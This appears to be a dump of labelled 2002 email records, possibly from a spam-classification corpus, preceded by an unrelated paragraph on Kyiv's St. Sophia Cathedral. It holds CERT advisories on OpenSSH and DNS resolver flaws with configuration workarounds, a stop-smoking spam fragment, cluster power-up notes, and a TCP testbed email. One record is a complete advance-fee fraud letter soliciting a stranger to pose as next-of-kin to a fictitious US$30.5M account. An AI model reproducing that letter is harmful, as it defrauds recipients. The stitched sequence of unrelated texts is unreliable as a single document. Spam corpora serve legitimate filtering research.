Cathedral has been almost completely preserved since the 11th century. The main element of the Cathedral decoration is the monumental painting - its mosaic and frescos, which nonseparably bound with the architecture. The St. Sophia Cathedral of Kyiv preserves the most importance complex of the mosaics and frescos of the epoch of the 11th century. The St. Sophia Cathedral, which shortly its erection accepted Christianity as state religion, that is itself significant as event, and becoming as the sample for the late temples of Rus, it is the most ancient temple today that were preserved from old times up to our times. The St. Sophia Cathedral was the main metropolitan Cathedral of Old Rus. It was its spiritual and vital political, scientific and cultural centre. Here the most important state affairs were decided, including the adoption of the first legislative acts of Old Rus, conducting interstate negotiations and concluding political agreements. It was at the St. Sophia of Kyiv that the first library in Old Rus was formed. There is a burial place here for a dynasty of Grand Princes of Kyivan Rus and many metropolitans. A tomb of the Great Prince Yaroslav the Wise, during whose rule Kyivan Rus reached its greatest prosperity, is located here. It was founded at that time a base of a further development of the nation as a characteristic European nation and fundamentals of its federating in a world community. It was made by installation of wide diplomatic, cultural, economical, and also dynasty (related) connections. It was formed a wonderful architectural ensemble of monastic buildings around the St. Sophia Cathedral during the further centuries, which one was preserved to our times. It was a witness of many events that were nonseparately related with a national and all-European history. In 1990 the St. Sophia Cathedral of the 11th century together with its ensemble of monastic buildings of the 18th century at its territory was included on the UNESCO World Heritage List. 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The second vulnerability affects PAM modules using interactive keyboard authentication in OpenSSH versions 2.3.1p1 through 3.3, regardless of the challenge response option setting. Additionally, a number of other possible security problems have been corrected in OpenSSH version 3.4. I. Description Two related vulnerabilities have been found in the handling of challenge responses in OpenSSH. The first vulnerability is an integer overflow in the handling of the number of responses received during challenge response authentication. If the challenge response configuration option is set to yes and the system is using SKEY or BSD_AUTH authentication then a remote intruder may be able to exploit the vulnerability to execute arbitrary code. This vulnerability is present in versions of OpenSSH 2.9.9 through 3.3. An exploit for this vulnerability is reported to exist. This vulnerability is partially described in a recent ISS security advisory available at http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=20584 The second vulnerability is a buffer overflow involving the number of responses received during challenge response authentication. Regardless of the setting of the challenge response configuration option, systems using PAM modules that use interactive keyboard authentication (PAMAuthenticationViaKbdInt), may be vulnerable to the remote execution of code. At this time, it is not known if this vulnerability is exploitable. Both vulnerabilities are corrected by the patches in a recent OpenSSH security advisory available from http://www.openssh.com/txt/preauth.adv Both vulnerabilities exploit features present only in version 2 of the SSH protocol. Vulnerability Note VU#369347 lists the vendors we contacted about this vulnerability. The vulnerability note is available from http://www.kb.cert.org/vuls/id/369347 II. Impact A remote attacker can execute code with the privileges of the user running the sshd (often root). These vulnerabilities may also be used to cause a denial-of-service condition. III. Solution Upgrade to OpenSSH version 3.4 These vulnerabilities are eliminated by upgrading to OpenSSH version 3.4, which is available from the OpenSSH web site at http://www.openssh.com OpenSSH version 3.4 will correct several other software defects with potential security implications not described in this advisory. Apply a patch from your vendor A patch for this problem is included in the OpenSSH advisory at http://www.openssh.com/txt/preauth.adv This patch may be manually installed with minor changes to correct these vulnerabilities in all affected versions of OpenSSH. Please note that applying the patches described in the OpenSSH advisory does not correct the other software defects with potential security implications not described in this advisory. If your vendor has provided a patch to correct these vulnerabilities, you may want to apply their patch rather than upgrading your version of sshd. System administrators may want to confirm whether their vendor's patch includes the other possible vulnerabilities corrected in OpenSSH 3.4. More information about vendor-specific patches can be found in the vendor section of this document. Because the publication of this advisory was unexpectedly accelerated, statements from all of the affected vendors were not available at publication time. We will update this document as vendors provide additional information. Disable SSH protocol version 2 Since both vulnerabilities are present only in protocol version 2 features, disabling version 2 of the protocol will prevent both vulnerabilities from being exploited. Typically, this is accomplished by adding the following line to /etc/ssh/sshd_config: Protocol 1 This option may set to ""2,1"" by default. System administrators should be aware that disabling protocol version 2 may prevent the sshd daemon from accepting connections in certain configurations. Applying one or both of the configuration changes described below may be a less disruptive workaround for this problem. Disable challenge response authentication For OpenSSH versions greater than 2.9, system administrators can disable the vulnerable portion of the code by setting the ""ChallengeResponseAuthentication"" configuration option to ""no"" in their sshd configuration file. Typically, this is accomplished by adding the following line to /etc/ssh/sshd_config: ChallengeResponseAuthentication no This option may be enabled (set to ""yes"") by default. This workaround should prevent the first vulnerability from being exploited if SKEY or BSD_AUTH authentication is used. It will not prevent the possible exploitation of the vulnerability via PAM interactive keyboard authentication. Disable PAM authentication via interactive keyboard For OpenSSH versions greater than 2.9, system administrators can disable the vulnerable portion of the code affecting the PAM authentication issue by setting the ""PAMAuthenticationViaKbdInt"" configuration option to ""no"" in their sshd configuration file. Typically, this is accomplished by adding the following line to /etc/ssh/sshd_config: PAMAuthenticationViaKbdInt no This option may be disabled (set to ""no"") by default. This workaround should prevent the second vulnerability from being exploited if PAM interactive keyboard authentication is used. It will not prevent the possible exploitation of the vulnerability via SKEY or BSD_AUTH authentication. Disable both options in older versions of OpenSSH For OpenSSH versions between 2.3.1p1 and 2.9, system adminstrators will instead need to set the following options in their ssh configuration file: KbdInteractiveAuthentication no ChallengeResponseAuthentication no Setting both of these options is believed to prevent the exploitation of the vulnerabilities regardless of which authentication mechanisms are used. Use privilege separation to minimize impact System administrators running OpenSSH versions 3.2 or 3.3 may be able to reduce the impact of this vulnerability by enabling the ""UsePrivilegeSeparation"" configuration option in their sshd configuration file. Typically, this is accomplished by adding the following line to /etc/ssh/sshd_config: UsePrivilegeSeparation yes This workaround does not prevent these vulnerabilities from being exploited, however due to the privilege separation mechanism, the intruder may be limited to a constrained chroot environment with restricted privileges. This workaround will not prevent these vulnerabilities from creating a denial-of-service condition. Not all operating system vendors have implemented the privilege separation code, and on some operating systems, it may limit the functionality of OpenSSH. System administrators are encouraged to carefully review the implications of using the workaround in their environment, and use a more comprehensive solution if one is available. The use of privilege separation to limit the impact of future vulnerabilities is encouraged. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Compaq Computer Corporation SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services. Software Security Response Team x-ref:SSRT2263 At the time of writing this document, Compaq is currently investigating the potential impact to HP Tru64 UNIX, commercial version of SSH for V5.1a. As further information becomes available notice will be provided of the completion/availability of any necessary patches through standard product and security bulletin announcements and be available from your normal HP Services support channel. Caldera Caldera OpenLinux OpenSSH has neither the S/KEY nor BSD Auth features compiled in, so it is not vulnerable to the Challenge/Response vulnerability. We do have the ChallengeResponseAuthentication option on by default, however, so to be safe, we recommend that the option be disabled in the sshd_config file. In addition, the sshd_config PAMAuthenticationViaKbdInt option is off by default, so OpenLinux is not vulnerable to the other alleged vulnerability in a default configuration, either. However, Caldera recommends that this option be disabled if it has been enabled by the system administrator. Cray, Inc. Cray, Inc. has found the OpenSSH released in Cray Open Software 3.0 to be vulnerable. Please see Field Notice 5105 and spr 722588 for fix information. Debian Debian 2.2 (the current stable release) is not affected by these problems. The current versions of our ""testing"" distribution, to become Debian 3.0, and our ""unstable"" distribution, are both affected by default. We recommend that users be certain that both: ChallengeResponseAuthentication no and PAMAuthenticationViaKbdInt no are present and uncommented in /etc/ssh/sshd_config (and that the server is restarted). Also, we recommend the use of version 3.3p1, now available from security.debian.org (DSA-134). Stable users do not need to upgrade and may wish to wait until the packages have received better testing. We intend to provide 3.4p1 packages in the near future. Engarde Guardian Digital ships OpenSSH in all versions of EnGarde Secure Linux. Version 3.3p1 was introduced by ESA-20020625-015 on June 25, 2002. This update introduces privilege separation. All users are strongly urged to upgrade to this version as soon as possible. An upgrade to version 3.4p1 (which properly fixes the bugs) will be made available sometime in the next few days. Hewlett-Packard Company Hewlett-Packard provides a version of SSH: HP-UX Secure Shell (T1471AA) for HP-UX versions 11.00 and 11i. We are investigating to determine whether this product is vulnerable. IBM Corporation IBM's AIX operating system does not ship with OpenSSH; however, OpenSSH is available for installation on AIX via the Linux Affinity Toolkit. The version included on the CD containing the Toolkit is vulnerable to the latest discovered vulnerability discussed here as is the version of OpenSSH available for downloading from the IBM Linux Affinity website. Anyone running this version is advised to follow the recommendations above to limit their vulnerability. We working with the changes for version 3.4 and will have a new package availble for download as soon as possible. When available the new packages can be downloaded from: http://www6.software.ibm.com/dl/aixtbx/aixtbx-p This site contains Linux Affinity applications containing cryptographic algorithms, and new users of this site are asked to register first. Lotus Lotus products are not vulnerable to this problem. Mandrake Software MandrakeSoft released OpenSSH 3.3p1 in updates Monday night to mitigate this vulnerability. Updates to OpenSSH 3.4p1 will be available for download later this week. Microsoft Corporation Microsoft products are not affected by the issues detailed in this advisory. Network Appliance NetApp systems are not vulnerable to this problem. OpenBSD See http://www.openbsd.org/errata.html#sshd OpenSSH See http://www.openssh.com/txt/preauth.adv Process Software MultiNet, TCPware, and SSH for OpenVMS are not affected by the problems outlined in this advisory. RedHat Inc. Red Hat Linux versions 7, 7.1, 7.2 and 7.3 as well as Red Hat Linux Advanced Server version 2.1 ship with OpenSSH. The Red Hat Linux OpenSSH packages were not compiled with either BSD_AUTH or SKEY enabled, therefore in order to be vulnerable to this issue a user would need to have enabled the configuration option ""PAMAuthenticationViaKbdInt"" in their sshd configuration file (the default is disabled). We are continuing to investigate this vulnerability and will release updated packages where appropriate. SGI At this time, SGI does not ship OpenSSH as a part of IRIX. The OpenSSH privilege separation code mostly works with IRIX, but it uses a flag to mmap that isn't in IRIX (MAP_ANON) for compression so you can't have both on at the same time. IRIX doesn't ship with PAM so a lot of the PAM issues aren't issues for us. _________________________________________________________________ The CERT/CC thanks Theo de Raadt and Markus Friedl of the OpenSSH project for their technical assistance in producing this advisory. _________________________________________________________________ Author: Cory F. Cohen ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-18.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History June 26, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPRpGQ6CVPMXQI2HJAQEC1QP/eqRQzNmK0B1h5DvNLtTFmey8wOpfrSpX PHbJ2Ps4IYfu+OepUH7UEDGoYkza5jpIoqz+UeRmJfq51IU2RCwcfOOEkbLslra7 yFEM9oWIVCwC6cOvlkzlXA6cd2uX6YonNxYZ/6tUs3BmQVKxCrzDXBEWV6HC3zis 1qgt5S8MRYM= =+K4J -----END PGP SIGNATURE----- ",0,1 nonews@tabac-stop-center.ch,tex-fonts@tug.org,"Fri, 28 Jun 2002 02:50:58 +0200",Tabac Stop Center Lausanne - Informations,"Arrêtez de fumer En 1 heure seulement - Garantie 1 an - Suivi gratuit 1 an En 2 séances de 30 minutes !! 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TEL/FAX:234-1-759 3339 TO: THE MANAGING DIRECTOR/CEO DEAR SIR, RE:TRANSFER OF THE SUM OF US$30.5M DOLLARS INTO YOUR ACCOUNT FIRST,I MUST SOLICIT YOUR CONFIDENCE IN THIS TRANSACTION.THIS IS BY VIRTUE OF IT'S NATURE AS BEING UTTERLY CONFIDENTIAL AND TOP SECRET.THOUGH I KNOW THAT A TRANSACTION OF THIS MAGNITUDE WILL MAKE ANYONE APPREHENSIVE AND WORRIED.BUT IAM ASSURING YOU THAT ALL WILL BE WELL AT THE END OF THE DAY.WE HAVE DECIDED TO CONTACT YOU THROUGH THIS MEDIUM DUE TO THE URGENCY OF THIS TRANSACTION AS WE HAVE BEEN RELIABLY INFORMED OF YOUR DISCRETENESS AND ABILITY. LET ME START BY INTRODUCING MYSELF TO YOU. IAM MR. LARRY WILSON, A CHIEF ACCOUNTANT WITH THE ZENITH INTERNATIONAL BANK OF NIGERIA . MARINA BRANCH OFFICE LAGOS. I CAME TO KNOW ABOUT YOU IN MY PRIVATE SEARCH FOR A RELIABLE AND REPUTABLE PERSON TO HANDLE THIS CONFIDENTIAL TRANSACTION AS WE ARE STILL IN ACTIVE SERVICE. THE PROPOSITION. AN AUSTRALIAN NATIONAL,LATE ENGINEER BUTCH R. MIGUEL,AN OIL MERCHANT/CONTRACTOR WITH THE FEDERAL GOVERNMENT OF NIGERIA,UNTIL HIS DEATH THREE YEARS AGO IN A GHASTLY AIR CRASH IN AN EGYPT AIR, FLIGHT 990 WHICH OCCURED ON 2ND NOVEMBER 1999,UNTIL HIS DEATH,BANKED WITH US HERE AT ZENITH INTERNATIONAL BANK LIMITED, VICTORIA ISLAND LAGOS,AND HAD A CLOSSING BALANCE OF US$30.5M(THIRTY MILLION FIVE HUNDRED THOUSAND UNITED STATES DOLLARS)IN A FIXED DEPOSIT ACCOUNT,WHICH THE BANK UNQUESTIONABLY EXPECTS IT TO BE CLAIMED BY ANY AVAILABLE FOREIGN NEXT-OF-KIN TO THE LATE BENEFICIARY OR ALTERNATIVELY BE DONATED TO A DISCREDITED TRUST FUND FOR THE PURCHASE OF ARMS AND AMMUNITIONS AT THE MILITARY WAR COLLEGE IN KADUNA STATE HERE IN NORTHERN NIGERIA. SEQUEL TO THIS,FERVENT VALUABLE EFFORTS WERE MADE BY ZENITH INTERNATIONAL BANK .TO GET IN TOUCH WITH ANY OF THE MIGUEL'S FAMILY OR RELATIVES BUT PROVED TO NO AVAIL.IT IS BECAUSE OF THE PERCEIVED POSIBILITY OF NOT BEING ABLE TO LOCATE ANY OF THE LATE ENGR.BUTCH R. MIGUEL'S NEXT-OF-KIN(HE HAD NO KNOWN WIFE AND CHILDREN) THAT THE MANAGEMENT UNDER THE INFLUENCE OF OUR HONOURABLE CHAIRMAN / CHIEF EXECUTIVE OFFICER- MR JIM OVIA, THAT AN ARRANGEMENT BE MADE FOR THE FUND TO BE DECLARED""UN-CLAIMABLE"" AND SUBSIQUENTLY BE DONATED TO THE TRUST FUND FOR THE PURCHASE OF ARMS AND AMMUNITON TO FURTHER ENHANCE THE COURSE OF WAR IN AFRICA AND THE WORLD IN GENERAL. IN ORDER TO AVERT THIS CRUDE AND NEGATIVE DEVELOPMENT,SOME OF MY TRUSTED COLLEAGUES AND I NOW SEEK YOUR PERMISSION TO HAVE YOU STAND AS THE NEXT-OF-KIN TO LATE ENGR. BUTCH R.MIGUEL, SO THAT THE FUND US$30.5M WOULD BE RELEASED AND PAID INTO YOUR ACCOUNT AS THE BENEFICIARY'S NEXT-OF KIN.ALL DOCUMENTS AND PROVES TO ENABLE YOU RECIEVE THIS FUND WILL BE CAREFULLY WORKED OUT AND MORESO AS PROFESSIONAL BANKERS, WE ARE ASSURING YOU OF 100% RISK-FREE INVOLVEMENT. YOUR SHARE STAYS WHILE THE REST WILL BE FOR MYSELF AND MY COLLEAGUES FOR INVESTMENT PURPOSES IN YOUR COUNTRY. NOTE THAT THIS TRANSACTION WILL STRICTLY BE BASED ON THE FOLLOWING TERMS AND CONDITIONS AS I HAVE STATED BELOW, AS WE HAVE HEARD CONFIRMED CASES OF BUSINESS ASSOCIATES RUNNING AWAY WITH FUNDS KEPT IN THEIR CUSTODY WHEN IT IS FINALLY REMITTED INTO THIER BANK ACCOUNTS.A VERY GOOD EXAMPLE IS THE ONE OF MR. PETER HOPWOOD,THE PRESIDENT OF MILEAGE TRADING AND INVESTMENT COMPANY AT NUMBER 121, WEST 55TH STREET,21st FLOOR,NEW YORK 10022, AND THE FORMER CHAIRMAN OF OMPADEC(MR PATRICK OPIA)WHOM WE WERE RELIABLY INFORMED THAT AFTER THE AGREEMENT BETWEEN BOTH PARTNERS IN WHICH HE WAS TO TAKE 15% OF THE MONEY WHILE THE REMAINING 85% FOR THE NIGERIAN OFFICIALS. WITH ALL THE REMAINING DOCUMENTS SIGNED,THE MONEY WAS DULY TRANSFERED INTO MR HOPWOOD'S ACCOUNT, ONLY TO BE DISAPPOINTED ON THEIR ARRIVAL IN NEW YORK AND WERE INFORMED THAT MR PETER HOPWOOD WAS NO LONGER ON THAT ADDRESS,WHILE HIS TELEPHONE AND FAX NUMBERS HAD BEEN RE-ALLOCATED TO SOME BODY ELSE. tHIS WAS HOW THEY LOST US$18.5M TO MR HOPWOOD.THIS IS A VERY RECENT STORY HERE IN MY COUNTRY AND EVERYBODY IS AWARE OF THIS.SOME OF THE OFFICIALS DECIDED TO CRY OUT AND FACE THE LAW,BECAUSE THEY FELT THEY HAD LOST SO MUCH TO A STRANGER,WHILE THE CHAIRMAN OF OMPADEC(MR PATRICK OPIA)IS NOW HIDDING IN A FORIEGN COUNTRY.SO RIGHT NOW, IAM TAKING ALL PRECAUTIONARY MEASURES TO GUARD AGAINST RE-OCCURENCE OF SUCH ACT IN OUR CASE.THIAS IS WHY WE HAVE DECIDED THAT THIS TRANSACTION WILL BE BASED ON THE FOLLOWING:- (a) OUR CONVICTION OF YOUR TRANSPARENCY, HONESTY AND DILIGENCE. (b) THAT YOU WILL TREAT THIS TRANSACTION WITH UTMOST SECRECY AND CONFIDENTIALITY. (c)YOU MUST BE READY TO PRODUCE US WITH ENOUGH INFORMATION ABOUT YOURSELF TO PUT OUR MINDS AT REST. (d) THAT UPON RECIEPT OF THE FUND,YOU WILL PROMPTLY RELEASE OUR SHARE ON DEMAND AFTER YOU HAVE DEDUCTED YOUR 20%. YOUR URGENCY WILL BE HIGHLY APPRECIATED AS WE ARE ALREDY BEHIND SCHEDULE FOR THIS FINANCIAL QUATER. IF THIS PROPOSAL IS ALRIGHT BY YOU,THEN KINDLY GET TO ME IMMEDIATELY FOR CONFIDENTIALITY.PLEASE REPLY THROUGH THIS ALTN:EMAILBOX--------- bank_enquiry@consultant.com THANK YOU IN ANTICIPATON OF YOUR COOPERATION. YOURS FAITHFULLY, MR. LARRY WILSON ( Chief Accountant) ZENITH INTERNATIONAL BANK LIMITED . VICTORIA ISLAND, LAGOS. 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Systems Affected Applications using vulnerable implementations of the Domain Name System (DNS) resolver libraries, which include, but are not limited to: * Internet Software Consortium (ISC) Berkeley Internet Name Domain (BIND) DNS resolver library (libbind) * Berkeley Software Distribution (BSD) DNS resolver library (libc) Overview A buffer overflow vulnerability exists in multiple implementations of DNS resolver libraries. Operating systems and applications that utilize vulnerable DNS resolver libraries may be affected. A remote attacker who is able to send malicious DNS responses could potentially exploit this vulnerability to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description The DNS protocol provides name, address, and other information about Internet Protocol (IP) networks and devices. To access DNS information, a network application uses the resolver to perform DNS queries on its behalf. Resolver functionality is commonly implemented in libraries that are included with operating systems. Multiple implementations of DNS resolver libraries contain a remotely exploitable buffer overflow vulnerability in the way the resolver handles DNS responses. Both BSD (libc) and ISC (libbind) resolver libraries share a common code base and are vulnerable to this problem; any DNS resolver implementation that derives code from either of these libraries may also be vulnerable. Network applications that makes use of vulnerable resolver libraries are likely to be affected, therefore this problem is not limited to DNS or BIND servers. Vulnerability Note VU#803539 lists the vendors that have been contacted about this vulnerability: http://www.kb.cert.org/vuls/id/803539 This vulnerability is not the same as the Sendmail issue discussed in Vulnerability Note VU#814627: http://www.kb.cert.org/vuls/id/814627 II. Impact An attacker who is able to send malicious DNS responses could remotely exploit this vulnerability to execute arbitrary code or cause a denial of service on vulnerable systems. Any code executed by the attacker would run with the privileges of the process that calls the vulnerable resolver function. Note that an attacker could cause one of the victim's network services to make a DNS request to a DNS server under the attacker's control. This would permit the attacker to remotely exploit this vulnerability. III. Solution Upgrade to a corrected version of the DNS resolver libraries Note that DNS resolver libraries can be used by multiple applications on most systems. It may be necessary to upgrade or apply multiple patches and then recompile statically linked applications. Applications that are statically linked must be recompiled using patched resolver libraries. Applications that are dynamically linked do not need to be recompiled; however, running services need to be restarted in order to use the patched resolver libraries. System administrators should consider the following process when addressing this issue: 1. Patch or obtain updated resolver libraries. 2. Restart any dynamically linked services that make use of the resolver libraries. 3. Recompile any statically linked applications using the patched or updated resolver libraries. Use a local caching DNS server Using a local caching DNS server that reconstructs DNS responses will prevent malicious responses from reaching systems using vulnerable DNS resolver libraries. For example, BIND 9 reconstructs responses in this way, with the exception of forwarded dynamic DNS update messages. Note that BIND 8 does not reconstruct all responses; therefore this workaround may not be effective when using BIND 8 as a caching DNS server. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Compaq SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref:SSRT2270 At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the completion/availibility of any necessary patches through standard product and security bulletin announcements and be available from your normal HP Services support channel. Cray, Inc. The DNS resolver code supplied by Cray, Inc. in Unicos and Unicos/mk is vulnerable. SPR 722619 has been opened to track this problem. FreeBSD See ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. resolv.asc GNU adns adns is not derived from BIND libresolv. Furthermore, it does not support a gethostbyname-like interface (which is where the bug in BIND libresolv is). Therefore, it is not vulnerable. For more information on GNU adns, see: http://www.gnu.org/software/adns/ http://www.chiark.greenend.org.uk/~ian/adns/ Internet Software Consortium All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are vulnerable. All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. BIND version 4.8 does not appear to be vulnerable. BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. 'named' itself is not vulnerable. Updated releases can be found at: ftp://ftp.isc.org/isc/bind/src/4.9.9/ ftp://ftp.isc.org/isc/bind/src/8.2.6/ ftp://ftp.isc.org/isc/bind/src/8.3.3/ ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ BIND 9 contains a copy of the BIND 8.3.x resolver library (lib/bind). This will be updated with the next BIND 9 releases (9.2.2/9.3.0) in the meantime please use the original in BIND 8.3.3. In addition the BIND 9 'named' can be used to prevent malformed answers reaching vulnerable clients. Vendors wishing additional patches should contact bind-bugs@isc.org. Query about BIND 4 and BIND 8 should be addressed to bind-bugs@isc.org. Query about BIND 9 should be addressed to bind9-bugs@isc.org. Microsoft Microsoft products do not use the libraries in question. Microsoft products are not affected by this issue. OpenBSD [T]he resolver libraries in question got copied far and wide. They used to have a hell of a lot of bugs in them. Now might be a good time for people to compare each others' libraries to each other. I would urge them to compare against the OpenBSD ones, where we've spent a lot of time on, but of course we still missed this. But perhaps people can then share some around. Not everyone is going to move to the bind9 stuff, since it is very different. NetBSD See ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 06.txt.asc Network Appliance Some NetApp systems are vulnerable to this problem. Check NOW (http://now.netapp.com) for information on whether your system is vulnerable and the appropriate patch release that you should install. SGI SGI is looking into the matter. _________________________________________________________________ The CERT Coordination Center thanks Joost Pol of PINE-CERT and the FreeBSD Project for their analysis of these vulnerabilities. _________________________________________________________________ Feedback can be directed to the authors: Art Manion and Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.pine.nl/advisories/pine-cert-20020601.asc ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History June 28, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPRzRIKCVPMXQI2HJAQFUUAP+JrIx1x3vF0BL7zFcURQSOOIsmEoGzqAP B+xs5kf4Oy5uYRRLASvYFh/XjnyGXIA5v8ECWx00B52PBKi7aPQS5o4Kiz1rxkFf +c5oziLDXNwy4Vj2ArUjdzM47Ghrq8QXHBOoHaK5OWAF6tywbOklHt50T61OWzGu 5WGow8NNw9I= =PbO6 -----END PGP SIGNATURE----- ",0,1 Francisco Chinchilla ,ggilfoyl@richmond.edu,"Fri, 28 Jun 2002 16:31:14 -0400",powering up/down the new cluster,"If the power went off and came back on then turn everything off first (turn the power switch off by hand, except on pscm1, that one you can issue a halt or shutdown command). The instructions to turn the new cluster on assume everything is turned off and I think this is the only 'sure' way top bring it back up safely. TURNING THE CLUSTER ON 1) Turn the 3 RAID machines on. I recommend you wait 10 seconds or so before you turn the next one on. You are turning on at least 10 hard drives per machine, and that could just pull too much power at once if you do all 3 at the same time. 2) Turn the actual FILESERVER on. The fileserver will talk to the 3 RAID machines and lights will blink. When this is done, 3) Turn the MASTER on. You can turn off the sec. master on too. 4) Boot all the other cluster nodes by just turningon the powerbar switch. Turn on only 1 switch (4 nodes) at a time. Turning on more than a couple machines at a time requires too much from the tftp server that runs on the master, and as a consequence they will not be able to download the kernel and they will all be unavailable. The safest way is to wait till the 4 nodes that you just turned on become 'available' before you turn on the next one, but I think you can wait till they are 'up', wait 2 mins, then turn the next 4 nodes on. Overall this takes at least 40 mins. TURNING THE CLUSTER OFF 1) from the master, ssh to the fileserver and turn it off ssh fileserver shutdown -hF now exit (from the fileserver) 2) On the master, shutdown -hF now 3) Power down the 3 RAIDS by hitting the switch. Now hit the power switch on the fileserver to really turn it off (the shutdown command just turns everything off so that hitting the switch is safe) 4) Power down all the strips. NOTES 1) You can reboot the NODES with no problems, not true for the master nor the fileserver. You have to go through the whole procedure again. 2) If a node doesn't become available at first, press and hold the power switch on that node for ~4 seconds to turn it off. Press it again to turn it back on (the reset button sometimes doesnt do much, but this does). ",0,0 Erich Nahum ,"""Xiaoliang \\\\(David\\\\) Wei"" ","Mon, 01 Jul 2002 11:45:57 -0400",Re: About the Giga-bit TCP testbed,"Xiaoliang \\(David\\) Wei writes: > > 1. How to select hardware > 2. How to implement the new TCP algorithms (kernel hacking) > 3. how to measure the traffic > 4. how to generate delay and loss in the testbed. > > You have much experience in the gigabit network. Could you give us some > advice? Especially, on the hardware, what kind of network interface card is > preferable? Also, I found the Dell WS340 in our lab is using Intel 850E > chipset, which can only support 32bit*33Mhz<=1Gbps throughput. So we are > going to get some other machines. Can you recommend us some better > configurations (on the chipset, motherboard...)? David, Sorry I haven't been able to respond sooner. InfoCom was last week on top of the usual craziness. Some advice on the above issues: Hardware - in order to make sure your experiments are reasonably up-to-date you need to get some contemporary hardware. In terms of the boxes, you want something with 66 MHz 64 bit PCI slots. I use an IBM Intellistation M-Pro model 6850, but I only looked into IBM hardware since that's what I'm required to use. I'm sure Dell, HP etc. have similar stuff but I can't suggest any particular models. As for gigabit cards, you have several choices. First is the copper gigabit vs. fiber gigabit decision. Fiber tends to be slightly faster but copper is getting better and better and is *much* cheaper. Usually for the price of 2 fiber cards you can buy 2 copper cards and an 8-port copper switch. In the long term, I really think copper is going to win out. If you're running stuff back-to-back you won't need a switch, obviously. Cat 5e crossover cabling exists so you can do point-to-point over copper as well. Right now I think the best cards are the 3Com gigabit cards, available in either copper or fiber. Check out http://www.3com.com/products/en_US/prodlist.jsp?tab=tech&pathtype=purchase&tec h_id=14856&techcat=Gigabit+ethernet&cat=19 These are the remanufactured Alteon ACENIC cards that people love (3Com bought Alteon two years ago). The 710026 is the fiber version and the 3C985B-SX is the copper version. They have 1 MB RAM on board, whereas most others have 64 KB-96 KB. More importantly, they have the Tigon MIPS chips on them that supports checksum offload. Linux supports this card very well (zero-copy networking) and I'll bet FreeBSD does too. Kernel Hacking -- depends on which end-host OS you'll be using. While I grew up on BSD, I think linux is the way to go. There's a great environment called user-mode linux, available at http://user-mode-linux.sourceforge.net This basically allows you to run linux in user space, so that you can do source-level debugging, crash your TCP without crashing the box, etc. It's very impressive, and many linux hackers like Alan Cox use it for their regular development. The advantage of using FreeBSD is that you have all the Stevens books at your disposal, which are great. But again, 